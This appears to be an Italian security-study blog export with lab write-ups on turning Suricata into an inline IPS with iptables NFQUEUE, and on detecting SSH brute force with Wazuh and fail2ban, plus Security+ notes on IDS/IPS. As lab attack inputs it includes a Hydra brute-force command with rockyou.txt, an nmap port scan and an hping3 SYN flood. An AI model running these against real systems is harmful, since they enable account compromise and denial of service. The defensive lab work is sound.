br-46d49de3057f - il nome è l'UUID della rete Docker. Ogni docker compose down \u0026amp;\u0026amp; up ricrea la rete con un UUID diverso. La regola iptables diventa stale, cioè obsoleta: punta a un'interfaccia che non esiste più. Il kernel la ignora silenziosamente, il bridge nuovo non viene accettato, Wazuh ricade in SYN_RECV.\nNel docker-compose.yml aggiungo una sezione networks: che fissa il nome del bridge Linux:\nnetworks: default: driver: bridge driver_opts: com.docker.network.bridge.name: wazuh-br0 ipam: config: - subnet: 172.20.0.0/24 default è un nome speciale in Docker Compose: tutti i servizi lo usano automaticamente senza modifiche alle singole service definition.\nDopo docker compose down \u0026amp;\u0026amp; up:\nip link show wazuh-br0 # 19: wazuh-br0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; Nome stabile. Regola iptables permanente.\nLa catena iptables completa # Dopo tutti i fix, la catena INPUT ha questa struttura:\n┌─────────────────────────────────────────────────────────────────┐ │ Chain INPUT (policy DROP) │ │ │ │ 1 ACCEPT -i lo → loopback │ │ agent → docker-proxy (127.0.0.1) │ │ │ │ 2 ACCEPT -i wazuh-br0 → Docker bridge │ │ docker-proxy → container (SYN-ACK di ritorno) │ │ │ │ 3 ACCEPT -s 192.168.64.1 :22 → SSH dal Mac │ │ management, bypass IPS │ │ │ │ 4 ACCEPT ESTABLISHED,RELATED → risposte a connessioni │ │ uscenti (apt, curl, update) │ │ │ │ 5 NFQUEUE --queue-num 0 → tutto il resto │ │ → Suricata decide │ │ │ │ 6+ UFW chains │ └─────────────────────────────────────────────────────────────────┘ Perché la regola 4 (ESTABLISHED,RELATED)?\nSuricata in NFQUEUE vede solo INPUT - i pacchetti in arrivo. Non vede i SYN uscenti (che vanno su OUTPUT, catena diversa). Quando una risposta SYN-ACK arriva da un server esterno (dopo un apt update, un curl, qualsiasi connessione uscente), Suricata non ha traccia del flow originale.\nSenza ESTABLISHED,RELATED, tutte le connessioni TCP uscenti pendono nel vuoto - Ubuntu non riesce a scaricare aggiornamenti, fare curl, niente.\nESTABLISHED,RELATED risolve a livello di conntrack del kernel: i pacchetti che appartengono a una connessione già stabilita vengono accettati prima di NFQUEUE. Conntrack (connection tracking) è il modulo del kernel Linux che tiene traccia dello stato di ogni connessione TCP/UDP - sa che quel pacchetto in arrivo è la risposta a un SYN che abbiamo mandato noi, quindi va lasciato passare. Suricata continua a vedere i pacchetti NEW - dove si trovano i port scan, i SYN flood, le connessioni malevole.\nPer il lab: curl dal Mac durante un SYN flood passa ancora per NFQUEUE (regola 3 accetta solo SSH dal Mac, non HTTP). Se la regola drop si attiva, anche il curl viene bloccato. Questo è intenzionale - è il test.\nLa persistenza: systemd service # Le regole iptables non sopravvivono al reboot. iptables-persistent sembrerebbe la soluzione naturale, ma su Ubuntu rimuove UFW - entrambi gestiscono iptables e non convivono.\nLa soluzione: uno script idempotente + un systemd service.\n# /usr/local/bin/ips-rules.sh #!/bin/bash IPT=/sbin/iptables # Rimuovi regole esistenti (se il service viene riavviato, nessun duplicato) $IPT -D INPUT -i lo -j ACCEPT 2\u0026gt;/dev/null || true $IPT -D INPUT -i wazuh-br0 -j ACCEPT 2\u0026gt;/dev/null || true $IPT -D INPUT -s 192.168.64.1 -p tcp --dport 22 -j ACCEPT 2\u0026gt;/dev/null || true $IPT -D INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT 2\u0026gt;/dev/null || true $IPT -D INPUT -j NFQUEUE --queue-num 0 2\u0026gt;/dev/null || true # Inserisci in ordine inverso: ognuno va in posizione 1 # L\u0026#39;ultimo inserito diventa il primo $IPT -I INPUT 1 -j NFQUEUE --queue-num 0 $IPT -I INPUT 1 -m state --state ESTABLISHED,RELATED -j ACCEPT $IPT -I INPUT 1 -s 192.168.64.1 -p tcp --dport 22 -j ACCEPT $IPT -I INPUT 1 -i wazuh-br0 -j ACCEPT $IPT -I INPUT 1 -i lo -j ACCEPT L'inserimento inverso con -I INPUT 1 funziona così:\ndopo insert NFQUEUE: [NFQUEUE, UFW...] dopo insert ESTABLISHED: [ESTABLISHED, NFQUEUE, UFW...] dopo insert SSH: [SSH, ESTABLISHED, NFQUEUE, UFW...] dopo insert wazuh-br0: [wazuh-br0, SSH, ESTABLISHED, NFQUEUE, UFW...] dopo insert lo: [lo, wazuh-br0, SSH, ESTABLISHED, NFQUEUE, UFW...] ↑ ordine finale corretto # /etc/systemd/system/ips-rules.service [Unit] Description=Suricata IPS iptables rules After=network.target docker.service suricata.service Requires=suricata.service [Service] Type=oneshot ExecStart=/usr/local/bin/ips-rules.sh ExecStop=/sbin/iptables -D INPUT -j NFQUEUE --queue-num 0 RemainAfterExit=yes [Install] WantedBy=multi-user.target Requires=suricata.service - il service parte solo se Suricata è attivo. Non ha senso inserire NFQUEUE se nessuno legge dalla coda.\nExecStop rimuove la regola NFQUEUE quando il service viene fermato. Se Suricata si spegne e si ferma il service, il traffico torna a fluire invece di restare bloccato in coda vuota.\nactive (exited) è lo stato corretto per un Type=oneshot con RemainAfterExit=yes - il processo ha terminato, le regole sono in piedi, il service è considerato running.\nfail-open: no - il trade-off da conoscere per Security+ # fail-open: no (fail-closed) Se Suricata si blocca: → NFQUEUE rimane attivo → la coda si riempie → il kernel droppa tutto → zero traffico, zero accesso SSH → massima sicurezza, zero disponibilità fail-open: yes (fail-open) Se Suricata si blocca: → il kernel bypassa NFQUEUE → tutto il traffico passa senza ispezione → sistema accessibile, IPS disabilitato → massima disponibilità, zero sicurezza FAIL-CLOSED FAIL-OPEN (fail-open: no) (fail-open: yes) Sicurezza ████████████ ░░░░░░░░░░░░ Disponibilità ░░░░░░░░░░░░ ████████████ Non esiste la risposta giusta. Esiste il compromesso che si decide in modo consapevole in base al contesto. Un IPS su un segmento critico di rete bancaria sceglie fail-closed. Un IPS su un server di produzione accessibile solo in remoto potrebbe scegliere fail-open per evitare il lockout totale.\nPer Security+: questo è il trade-off CIA - Confidentiality/Integrity vs Availability. Fail-closed privilegia le prime due, fail-open privilegia la terza.\nIl risultato in Wazuh # Con tutto in funzione:\n# Da Kali sudo nmap --min-rate 1000 -p 1-1000 192.168.64.3 # Su Ubuntu tail -f /var/log/suricata/fast.log [Drop] [**] [1:9000002:1] IPS Aggressive Port Scan Drop {TCP} 192.168.64.200:62851 -\u0026gt; 192.168.64.3:843 [Drop] [**] [1:9000002:1] IPS Aggressive Port Scan Drop {TCP} 192.168.64.200:62851 -\u0026gt; 192.168.64.3:907 2.083 eventi. Tutti con action: blocked. La pipeline completa:\nsequenceDiagram actor Kali participant NF as iptables NFQUEUE participant Sur as Suricata participant FL as fast.log participant EVE as eve.json participant WA as Wazuh Agent participant WM as Wazuh Manager participant WD as Dashboard Kali-\u003e\u003eNF: nmap --min-rate 1000 NF-\u003e\u003eSur: pacchetto in coda (trattenuto) Sur-\u003e\u003eSur: detection_filter: 20+ SYN/sec Sur--\u003e\u003eNF: NF_DROP Sur-\u003e\u003eFL: [Drop] IPS Aggressive Port Scan Sur-\u003e\u003eEVE: action:blocked (JSON) EVE-\u003e\u003eWA: logcollector legge il file WA-\u003e\u003eWM: evento inoltrato WM-\u003e\u003eWD: alert rule 86601 Note over WD: 2083 hits visibili IDS vs IPS: il confronto finale # ┌──────────────┬─────────────────────────┬─────────────────────────┐ │ │ IDS │ IPS │ │ │ (af-packet mode) │ (nfqueue mode) │ ├──────────────┼─────────────────────────┼─────────────────────────┤ │ Posizione │ fuori dal percorso │ inline (nel percorso) │ │ Traffico │ copia │ originale trattenuto │ │ Blocco │ NO │ SÌ │ │ Se si rompe │ traffico passa comunque │ fail-open/closed │ │ fast.log │ [**] │ [Drop] │ │ eve.json │ action: allowed │ action: blocked │ │ nmap output │ open / closed │ filtered │ │ Latenza │ zero aggiunta │ processing di Suricata │ └──────────────┴─────────────────────────┴─────────────────────────┘ exit 0 # Il salto da IDS a IPS non è una questione di configurazione - è un cambio di filosofia.\nIn IDS, Suricata è un testimone. Vede tutto, registra tutto, non interferisce. La risposta all'attacco è umana, avviene dopo, spesso quando il danno è già fatto.\nIn IPS, Suricata è nel percorso. Il kernel trattiene ogni pacchetto e aspetta. La risposta è automatica e istantanea - il blocco avviene prima che il pacchetto raggiunga la porta del servizio.\nIl prezzo è la complessità: l'interfaccia di rete giusta nel yaml. Il servizio systemd con il tipo corretto. La catena iptables nell'ordine giusto. Il Docker bridge accettato esplicitamente. Le connessioni stabilite esentate. La persistenza al reboot.\nOgni pezzo mancante rompe qualcosa in modo non ovvio.\nMa quando tutto è al posto giusto, [Drop] in fast.log è tra le cose più soddisfacenti che un lab possa produrre.\nComandi usati: suricata · iptables · nmap · hping3 · systemctl · docker Concetti correlati: IDS/IPS · NFQUEUE · Wazuh · iptables chains · TCP three-way handshake\n","date":"29 maggio 2026","externalUrl":null,"permalink":"/blog/suricata-ips-nfqueue/","section":"Blog","summary":" TL;DR IDS (af-packet): copia del traffico → Suricata vede tutto, non può bloccare niente → [**] in fast.log IPS (nfqueue): traffico originale trattenuto → il kernel aspetta il verdetto → [Drop] in fast.log iptables -I INPUT -j NFQUEUE --queue-num 0 è la singola regola che trasforma il sistema fail-open: no = fail-closed: se Suricata muore, tutto il traffico viene droppato Il Docker bridge (br-XXXX) bypassa NFQUEUE - la SYN-ACK di ritorno viene bloccata e Wazuh si disconnette La persistenza al reboot richiede un systemd service dedicato (non iptables-persistent, che rimuove UFW) ▶ $ history suricata -T -c /etc/suricata/suricata.yaml -v suricata-update iptables -I INPUT 1 -j NFQUEUE --queue-num 0 iptables -L INPUT -n -v --line-numbers nmap --min-rate 1000 -p 1-1000 192.168.64.3 hping3 -S --flood 192.168.64.3 cat /proc/net/tcp Voglio vedere cosa succede quando Suricata non si limita a guardare il traffico, ma lo blocca davvero.\n","title":"Il Kernel Sospende il Giudizio","type":"blog"},{"content":" TL;DR HIDS (Wazuh agent) monitora il singolo host dall'interno - log, file, processi. SIEM (Wazuh manager) raccoglie tutto, correla, genera alert. HIPS (fail2ban) agisce automaticamente dopo la detection - blocca l'IP attaccante. IDS e IPS non sono prodotti diversi: è la stessa categoria, con o senza capacità di blocco. ▶ $ history hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.64.3 -t 4 tail -f /var/log/auth.log tail -f /var/log/fail2ban.log Il lab è semplice: Ubuntu con Wazuh, Kali con Hydra, una wordlist da 14 milioni di password. Obiettivo: vedere cosa succede dall'altra parte quando un attaccante tenta il brute force SSH.\nIl setup # Il laboratorio è composto da due macchine virtuali collegate all'interno dello stesso segmento di rete isolato:\ngraph LR subgraph Kali [\"Kali Linux (Attaccante)\"] A[\"192.168.64.200\"] A_Tools[\"Tools: Hydra, rockyou.txt\"] end subgraph Ubuntu [\"Ubuntu Server (Defender)\"] D[\"192.168.64.3\"] D_Agent[\"Wazuh Agent\"] D_HIPS[\"Fail2ban (HIPS)\"] D_Containers[\"Docker: Wazuh Cluster- wazuh-manager- wazuh-indexer- wazuh-dashboard\"] end A ===|Rete Virtuale| D style Kali fill:#2b2b2b,stroke:#ff5555,stroke-width:2px,color:#fff style Ubuntu fill:#1e1e1e,stroke:#3b82f6,stroke-width:2px,color:#fff Sul defender (Ubuntu 192.168.64.3) gira Wazuh in Docker - tre container distinti:\nwazuh-manager ← analizza gli eventi, genera gli alert wazuh-indexer ← salva tutto (OpenSearch) wazuh-dashboard ← la finestra su quello che succede Più un agente nativo (wazuh-agent.service) che monitora l'host stesso. Questo agente si chiama HIDS-Barno nella dashboard - è lui che legge i log, controlla i file e manda tutto al manager in tempo reale.\nSull'attaccante (Kali 192.168.64.200): Hydra e la celebre wordlist rockyou.txt decompressa.\nL'attacco # Avviamo l'attacco da Kali puntando all'interfaccia SSH della nostra vittima:\nhydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.64.3 -t 4 Hydra parte a pieno regime: 4 thread paralleli, circa 76 tentativi al minuto. Spostandoci su Ubuntu, il log di sistema /var/log/auth.log inizia immediatamente a riempirsi di fallimenti ad altissima velocità:\nFailed password for root from 192.168.64.200 port 40334 ssh2 Failed password for root from 192.168.64.200 port 40335 ssh2 Failed password for root from 192.168.64.200 port 40336 ssh2 Ogni singola riga rappresenta un tentativo fallito. Con ben 14 milioni di combinazioni possibili nel dizionario rockyou.txt, senza alcuna contromisura attiva, Hydra avrebbe tutto il tempo necessario per trovare la chiave d'accesso.\nDetection - il HIDS entra in gioco # L'agente Wazuh legge /var/log/auth.log in tempo reale. Ogni riga sospetta viene immediatamente inoltrata al manager, che applica le sue regole di correlazione predefinite. In meno di un minuto, la dashboard si accende mostrando la gravità della situazione.\n816 eventi registrati in pochissimi minuti. Tutti classificati come authentication_failure. Fortunatamente, zero successi.\nQui risiede la differenza cruciale tra IDS e SIEM:\nL'IDS (il Wazuh agent installato su HIDS-Barno) si occupa di rilevare il singolo evento anomalo a livello locale sull'host. Il SIEM (il Wazuh manager centralizzato) correla tali eventi - comprende che 816 fallimenti ravvicinati non sono eventi casuali, bensì un pattern di attacco coordinato. Dopo pochi minuti di attività, la dashboard popola automaticamente le sezioni relative alla mappatura MITRE ATT\u0026amp;CK:\nT1110 - Brute Force (sotto la tattica di Credential Access). Il SIEM ha classificato autonomamente il comportamento rilevato correlandolo con le tattiche reali documentate nel framework MITRE.\nPrevention - da HIDS a HIPS # La semplice rilevazione (detection) ci dice che siamo sotto attacco, ma non impedisce all'attaccante di continuare a bussare. Per proteggere attivamente la macchina, passiamo alla fase di prevenzione configurando fail2ban come nostro sistema di prevenzione delle intrusioni sull'host:\n# /etc/fail2ban/jail.local [DEFAULT] banaction = ufw [sshd] enabled = true maxretry = 5 findtime = 60 bantime = 300 La regola è semplicissima: se vengono rilevati 5 tentativi di login falliti entro una finestra temporale di 60 secondi, l'IP dell'attaccante viene bandito per 300 secondi (5 minuti).\nApplichiamo la configurazione e rilanciamo Hydra, tenendo d'occhio il log di fail2ban:\nsudo tail -f /var/log/fail2ban.log Il log descrive chiaramente la dinamica in tempo reale:\nFound 192.168.64.200 ×8 → fail2ban conta i tentativi Ban 192.168.64.200 → soglia superata, IP bloccato ...300 secondi... Unban 192.168.64.200 → ban scaduto Found 192.168.64.200 ×4 → Hydra riprende Ban 192.168.64.200 → bannata di nuovo Su Kali, Hydra si arresta improvvisamente ricevendo una sfilza di errori Connection refused. Il brute force viene troncato all'istante.\nEcco visualizzato l'intero flusso di detection e prevenzione in questo scenario:\nsequenceDiagram autonumber actor Kali as Attaccante (Kali) participant SSH as SSH Daemon participant HIDS as Wazuh Agent (HIDS) participant SIEM as Wazuh Manager (SIEM) participant HIPS as Fail2ban (HIPS) participant Firewall as UFW/iptables (Firewall) Kali-\u003e\u003eSSH: Tentativi Brute Force SSH (Hydra) SSH-\u003e\u003eHIDS: Scrive fallimenti in auth.log HIDS-\u003e\u003eSIEM: Invia log in tempo reale SIEM--\u003e\u003eSIEM: Correlazione eventi (MITRE T1110) SIEM--\u003e\u003eSIEM: Genera alert in dashboard HIPS-\u003e\u003eSSH: Legge auth.log Note over HIPS: Rilevati \u003e5 tentativi falliti HIPS-\u003e\u003eFirewall: Aggiunge regola di BAN per 192.168.64.200 Kali-XSSH: Tentativi successivi BLOCCATI (Connection refused) In questo momento il sistema non si limita più a fare reportistica passiva, ma reagisce ed interviene. Wazuh e fail2ban cooperano idealmente per chiudere la falla: fail2ban agisce a livello di firewall di sistema bloccando il traffico dell'IP incriminato alla radice.\nfail2ban + UFW: dove appare il ban # Per default, fail2ban scrive le regole di ban direttamente in iptables, bypassando UFW. Il ban funziona, ma è invisibile a ufw status - due strumenti che gestiscono lo stesso firewall senza saperlo l'uno dell'altro.\nConfigurando banaction = ufw in /etc/fail2ban/jail.local, fail2ban delega il blocco a UFW. Il risultato è immediatamente leggibile:\n$ sudo ufw status numbered [ 1] Anywhere REJECT IN 192.168.64.200 # by Fail2Ban after 5 attempts against sshd [ 2] 22/tcp ALLOW IN Anywhere La posizione [1] non è casuale. fail2ban usa ufw insert 1 per inserire la regola in cima alla catena. UFW valuta le regole in ordine sequenziale: la prima che fa match vince. Se il REJECT fosse in posizione [3], la regola ALLOW 22/tcp in [2] vincerebbe per prima e il ban non avrebbe effetto. L'ordine è la difesa.\nQuesto è un vero HIPS (Host-based Intrusion Prevention System) in azione.\nRete vs Host: la distinzione di comportamento # Questo laboratorio dimostra che la distinzione tra IDS e IPS non è legata al prodotto software specifico, bensì al suo comportamento e al punto in cui è posizionato nella catena difensiva:\nTipo Rileva Blocca Inline HIDS (Wazuh agent) ✓ ✗ No HIDS + Active Response ✓ ✓ No NIDS (Suricata passivo) ✓ ✗ No NIPS (Suricata nfqueue) ✓ ✓ Sì \u0026quot;Inline\u0026quot; significa che il traffico di rete passa fisicamente o logicamente attraverso il dispositivo di sicurezza prima di poter raggiungere la destinazione finale. Solo un NIPS (come Suricata configurato con nfqueue) agisce in modalità inline bloccando i singoli pacchetti malevoli prima che raggiungano la porta del servizio.\nWazuh e fail2ban operano in modo diverso: bloccano i tentativi futuri alterando le regole del firewall, ma i pacchetti dei tentativi che hanno innescato il ban sono già stati interamente ricevuti ed elaborati dall'host.\nNel nostro laboratorio, Wazuh si è fatto carico contemporaneamente di tre ruoli: SIEM (aggregazione e correlazione centralizzata), HIDS (monitoraggio locale dell'host), e grazie all'integrazione e al lavoro congiunto con le regole di sistema, assume le vesti di HIPS bloccando la minaccia. Tre cappelli diversi per un unico grande obiettivo difensivo.\nNel prossimo articolo sposteremo il raggio d'azione sul perimetro di rete, introducendo Suricata come NIDS per intercettare e analizzare il traffico di rete ancora prima che possa toccare il nostro server.\nexit 0 # La sicurezza multilivello non si ottiene installando più software, ma facendoli parlare tra loro. Un HIDS rileva quello che un firewall ignora. Un HIPS blocca quello che un semplice IDS descriverebbe passivamente in un report il giorno dopo.\nQuando configuri un server, non chiederti solo quale tool installare, ma come integrare la detection con la response. Il brute force fa rumore; sfruttare quel rumore per sbarrare la porta in faccia all'attaccante in tempo reale è l'inizio di una vera difesa.\nComandi usati: ssh · tail · sudo Concetti correlati: network-defense · observability · iam Approfondimento tecnico: IDS/IPS - Intrusion Detection e Prevention · Wazuh - Architettura e Funzionamento · iptables - Gestione Regole di Rete\n","date":"27 maggio 2026","externalUrl":null,"permalink":"/blog/816-tentativi-zero-successi/","section":"Blog","summary":" TL;DR HIDS (Wazuh agent) monitora il singolo host dall'interno - log, file, processi. SIEM (Wazuh manager) raccoglie tutto, correla, genera alert. HIPS (fail2ban) agisce automaticamente dopo la detection - blocca l'IP attaccante. IDS e IPS non sono prodotti diversi: è la stessa categoria, con o senza capacità di blocco. ▶ $ history hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.64.3 -t 4 tail -f /var/log/auth.log tail -f /var/log/fail2ban.log Il lab è semplice: Ubuntu con Wazuh, Kali con Hydra, una wordlist da 14 milioni di password. Obiettivo: vedere cosa succede dall'altra parte quando un attaccante tenta il brute force SSH.\n","title":"816 tentativi zero successi","type":"blog"},{"content":" ","date":"27 maggio 2026","externalUrl":null,"permalink":"/concetti/","section":"Concetti","summary":" ","title":"Concetti","type":"concetti"},{"content":"","date":"27 maggio 2026","externalUrl":null,"permalink":"/tags/iam/","section":"Tags","summary":"","title":"Iam","type":"tags"},{"content":" Cosa fa # IDS (Intrusion Detection System) è il cappello che copre HIDS e NIDS. IPS aggiunge la capacità di blocco. Non sono prodotti diversi: è lo stesso sistema configurato diversamente.\nTL;DR # IDS (Intrusion Detection System) ├── HIDS — monitora un singolo host dall\u0026#39;interno │ └── esempio: Wazuh agent └── NIDS — monitora il traffico di rete sul perimetro └── esempio: Suricata in modalità af-packet IPS (Intrusion Prevention System) = IDS che blocca ├── HIPS — host-based, blocca con iptables/nftables dopo l\u0026#39;arrivo │ └── esempio: Wazuh Active Response + fail2ban └── NIPS — network-based, inline — droppa i pacchetti prima dell\u0026#39;arrivo └── esempio: Suricata in modalità nfqueue IDS rileva e avvisa. IPS rileva e blocca. La posizione nel flusso del traffico è tutto.\nCome funziona # graph TD IDS[\"IDS Intrusion Detection System\"] IPS[\"IPS Intrusion Prevention System\"] HIDS[\"HIDS Host-based\"] NIDS[\"NIDS Network-based\"] HIPS[\"HIPS Host-based\"] NIPS[\"NIPS Network-based — inline\"] IDS --\u003e HIDS IDS --\u003e NIDS IPS --\u003e HIPS IPS --\u003e NIPS HIDS vs NIDS # HIDS NIDS Dove vive su ogni macchina sul perimetro Cosa vede processi, file, log pacchetti di rete Cieco a traffico di rete cosa succede dentro l'host Inline? No No Esempio Wazuh agent Suricata af-packet Il concetto di inline # Inline significa che il traffico passa attraverso il dispositivo prima di arrivare a destinazione. Solo il NIPS è davvero inline.\nPosizione Quando blocca Inline? HIDS dentro l'host, legge log non blocca No HIPS dentro l'host, regole iptables dopo l'arrivo del pacchetto No NIDS perimetro, copia del traffico non blocca No NIPS perimetro, nel path del traffico prima dell'arrivo Sì Important HIPS non è inline. I pacchetti SSH arrivano all'host, il sistema li analizza, poi blocca i tentativi futuri. Suricata in nfqueue è l'unico che intercetta il pacchetto prima che raggiunga la destinazione.\nWazuh nel lab # Wazuh fa tre cose con un solo servizio:\ngraph LR A[\"Wazuh agent (HIDS-Barno)\"] B[\"Wazuh manager (SIEM)\"] C[\"Active Response (HIPS)\"] D[\"fail2ban (HIPS component)\"] A --\u003e|\"invia eventi\"| B B --\u003e|\"correla, genera alert\"| B B --\u003e|\"trigger\"| C C --\u003e|\"esegue\"| D D --\u003e|\"ban IP con iptables\"| D HIDS: l'agente legge auth.log, FIM, processi — manda tutto al manager SIEM: il manager correla gli eventi, applica regole, genera alert MITRE ATT\u0026amp;CK HIPS: con Active Response + fail2ban, blocca automaticamente l'IP attaccante dopo soglia Lab: brute force SSH # # Kali attacca hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.64.3 -t 4 # Ubuntu — fail2ban banna l\u0026#39;IP dopo 5 tentativi in 60s # /etc/fail2ban/jail.local # maxretry = 5 / findtime = 60 / bantime = 300 Risultato osservato: 816 authentication failures in Wazuh, poi Connection refused su Kali quando scatta il ban. Il ciclo Found → Ban → Unban visibile in /var/log/fail2ban.log.\nScenario Reale # In un SOC enterprise il setup tipico è:\nNIDS (Suricata) sul firewall perimetrale — vede tutto il traffico in entrata HIDS (Wazuh agent) su ogni server critico — vede log, FIM, processi interni SIEM (Wazuh manager o Splunk) — correla eventi da entrambe le sorgenti Quando un attaccante fa port scan → NIDS genera alert. Quando poi tenta di escalare i privilegi sull'host → HIDS genera alert. Il SIEM correla i due eventi e ricostruisce la kill chain.\nCollegato a # log — SIEM, correlazione eventi, Wazuh manager network — NIDS, Suricata, traffico di rete glossario-cyber — voci IDS, IPS, HIDS, NIDS, HIPS, NIPS, CVE cap-04-securing-your-network — IDS/IPS Cap 4 Gibson ","date":"27 maggio 2026","externalUrl":null,"permalink":"/concetti/ids-ips/","section":"Concetti","summary":"IDS rileva, IPS blocca. HIDS/HIPS agiscono sull'host, NIDS/NIPS sulla rete. La differenza inline/non-inline determina quando il blocco avviene.","title":"IDS e IPS - detection e prevention, host e rete","type":"concetti"},{"content":"","date":"27 maggio 2026","externalUrl":null,"permalink":"/tags/simula-un-attacco/","section":"Tags","summary":"","title":"Simula-Un-Attacco","type":"tags"},{"content":" mindmap root((Cap 4 Securing Your Network)) IDS e IPS Metodi di Detection Alert FP FN TP TN Honeypot e Deception Securing Wireless Attacchi Wireless VPN e Concentrator NAC IPsec e Tunneling Autenticazione Remota Cosa fa # Copre i meccanismi attivi di difesa della rete: IDS/IPS, VPN (IPsec e SSL/TLS), tunneling, wireless security (WPA2/WPA3) e segmentazione avanzata. Segue l'ordine del libro Gibson Cap 4.\nTL;DR # IDS rileva e avvisa, non blocca. IPS rileva e blocca attivamente — stesso metodo, risposta diversa. Entrambi catturano traffico e lo analizzano come un protocol analyzer (sniffer). IDS/IPS sono security control di tipo detective. HIDS = IDS sul singolo host (vede NIC + file + applicazioni). NIDS = IDS sulla rete.\nIDS e IPS # mindmap root((IDS e IPS)) IDS Detective control Out-of-band passivo Copia traffico via port mirror Invia alert IPS Preventive control In-line nel flusso Blocca pacchetti malevoli Fail-open vs Fail-closed Posizionamento HIDS su host NIC + file + processi Wazuh come esempio NIDS su rete Sensori su switch e router Port mirroring Promiscuous mode HIPS blocca su host NIPS blocca su rete NIPS pratico NIPS 1 perimetro Internet NIPS 2 perimetro SCADA Differenza fondamentale # IDS (Intrusion Detection System) IPS (Intrusion Prevention System) Espansione Intrusion Detection System Intrusion Prevention System Azione Monitora e invia alert Reagisce e blocca l'attacco in corso Tipo controllo Detective Detective (+ preventive nella risposta) Risposta Passiva — notifica Attiva — interrompe il traffico Important IDS e IPS usano gli stessi metodi di rilevamento. La differenza è solo nella risposta all'attacco, non nel come lo individuano.\nCome funzionano # Sia IDS che IPS catturano il traffico di rete e lo analizzano per rilevare attacchi o anomalie — stessa capacità dei protocol analyzer (sniffer). La differenza emerge quando viene individuato un evento sospetto:\nIDS → invia un alert all'amministratore IPS → interviene attivamente per bloccare l'attacco prima che raggiunga i sistemi sequenceDiagram participant ATK as Attaccante participant IDS as IDS/IPS participant NET as Rete/Sistemi ATK-\u003e\u003eIDS: Traffico malevolo IDS-\u003e\u003eIDS: Cattura e analizza pacchetti alt IDS IDS-\u003e\u003eNET: Traffico passa IDS--\u003e\u003eNET: Alert all'admin else IPS IDS-\u003e\u003eATK: Blocca traffico IDS--\u003e\u003eNET: Alert + protezione attiva end HIDS — Host-based IDS # Un HIDS è software aggiuntivo installato direttamente sull'host (workstation o server). A differenza di un IDS di rete, vede solo il traffico che passa attraverso la NIC dell'host — ma in compenso può monitorare molto di più:\nCosa monitora il HIDS Esempio Traffico di rete (via NIC) Connessioni in entrata/uscita dalla macchina File critici del sistema operativo Modifiche a /etc/passwd, DLL di sistema Log di sistema Event log Windows, syslog Linux Applicazioni server Web server, mail server, database Risorse locali Processi in esecuzione, risorse CPU/memoria anomale Perché installare un HIDS oltre all'antivirus?\nUn HIDS può rilevare malware che l'antivirus tradizionale non individua, perché analizza comportamenti (modifiche a file critici, pattern applicativi anomali) e non solo signature. Per questo molte organizzazioni installano un HIDS su ogni workstation come layer aggiuntivo.\nCasi d'uso tipici:\nServer esposti a Internet (web, mail, database) — monitora sia il traffico di rete che l'applicazione Server con dati proprietari sensibili — layer aggiuntivo di protezione su asset ad alto rischio Workstation aziendali — in aggiunta all'antivirus, per rilevare comportamenti anomali Tip NIDS guarda il corridoio (la rete intera). HIDS guarda dentro la stanza (il singolo host). Servono entrambi per una copertura completa.\nWarning Exam trap: HIDS non sostituisce l'antivirus — è un layer aggiuntivo. Le domande Security+ distinguono i due ruoli.\nLab — HIDS in pratica (Mustache Project, Sprint 1):\nWazuh agent (wazuh-agent.service) installato su Ubuntu 24.04 — agente HIDS che monitora auth.log, file system (FIM) e processi. Wazuh manager (Docker) raccoglie gli eventi e li correla come SIEM. Da Kali, Hydra lancia brute force SSH: in meno di 60 secondi la dashboard Wazuh mostra 816 authentication failures con MITRE ATT\u0026amp;CK T1110 (Brute Force). Il HIDS ha rilevato l'attacco leggendo /var/log/auth.log in tempo reale — senza interferire con il traffico di rete.\nNIDS — Network-based IDS # Un NIDS monitora l'attività sull'intera rete, non su un singolo host. L'amministratore installa sensori (o collector) su dispositivi di rete — switch, router, firewall — che raccolgono il traffico e lo inviano a una console NIDS centrale per l'analisi.\nCosa sono i sensori?\nI sensori sono agenti software (o appliance dedicate, demoni linux) installati sui nodi di rete. Non analizzano il traffico da soli — lo catturano e lo inoltrano alla console NIDS che fa l'analisi centrale. Sono gli \u0026quot;occhi\u0026quot; distribuiti del NIDS.\nDove si piazzano i sensori (vedere Figure 4.1 sotto): Posizione sensore Cosa vede Quando usarlo Lato Internet (prima del firewall) Tutto il traffico grezzo, inclusi gli attacchi bloccati dal firewall Vuoi vedere TUTTI gli attacchi alla rete Lato interno (dopo il firewall) Solo il traffico che il firewall ha lasciato passare Vuoi vedere solo cosa riesce ad entrare Su router interni Traffico tra subnet interne Vuoi rilevare lateral movement e pivot interni La scelta dipende da cosa vuoi misurare:\nSolo attacchi dall'esterno → sensore lato Internet Solo ciò che penetra → sensore lato interno Entrambi → sensori in entrambe le posizioni (configurazione consigliata) Important Mettere sensori sia prima che dopo il firewall è strategico: confrontando i due si capisce esattamente cosa il firewall sta bloccando e cosa invece sta passando.\nNote Remember This (Gibson): La console NIDS è installata su un'appliance di rete. I sensori sono installati su switch, router o firewall per monitorare il traffico e rilevare attacchi. Si possono usare tap o port mirror per catturare il traffico. Un NIDS non può monitorare traffico cifrato e non può monitorare traffico sui singoli host.\nLimitazioni critiche del NIDS:\nNon vede gli host individualmente — rileva anomalie solo se causano un cambiamento nel traffico di rete. Un malware silenzioso che non genera traffico è invisibile al NIDS. Non decifra il traffico cifrato — un NIDS analizza solo traffico in chiaro (plaintext). Connessioni TLS/HTTPS passano attraverso senza essere ispezionate. Warning Exam trap: se una domanda descrive traffico cifrato che bypassa il rilevamento, il sistema vulnerabile è il NIDS — non l'IPS o il firewall.\nPort mirroring (port spanning):\nLa maggior parte degli switch supporta il port mirroring, detto anche port spanning: lo switch viene configurato per copiare tutto il traffico che riceve su una singola porta fisica dedicata. Il sensore NIDS è collegato a quella porta e riceve una copia di tutto il traffico del segmento.\nSenza port mirroring servirebbe un sensore per ogni porta fisica dello switch. Con il mirror, si aggrega tutto su una porta sola → un sensore vede l'intero segmento.\nSwitch fisico ├── Porta 1 ──cavo──► server web (eth0 del server) ├── Porta 2 ──cavo──► router (eth0 del router) ├── Porta 3 ──cavo──► workstation (eth0 del PC) └── Porta 24 ──cavo──► sensore NIDS (eth0 del sensore) ↑ porta mirror: riceve copia di tutto ciò che passa sulle porte 1-23 Il sensore è una macchina dedicata (fisica o VM) con un agent NIDS (daemon, es. Suricata) che gira 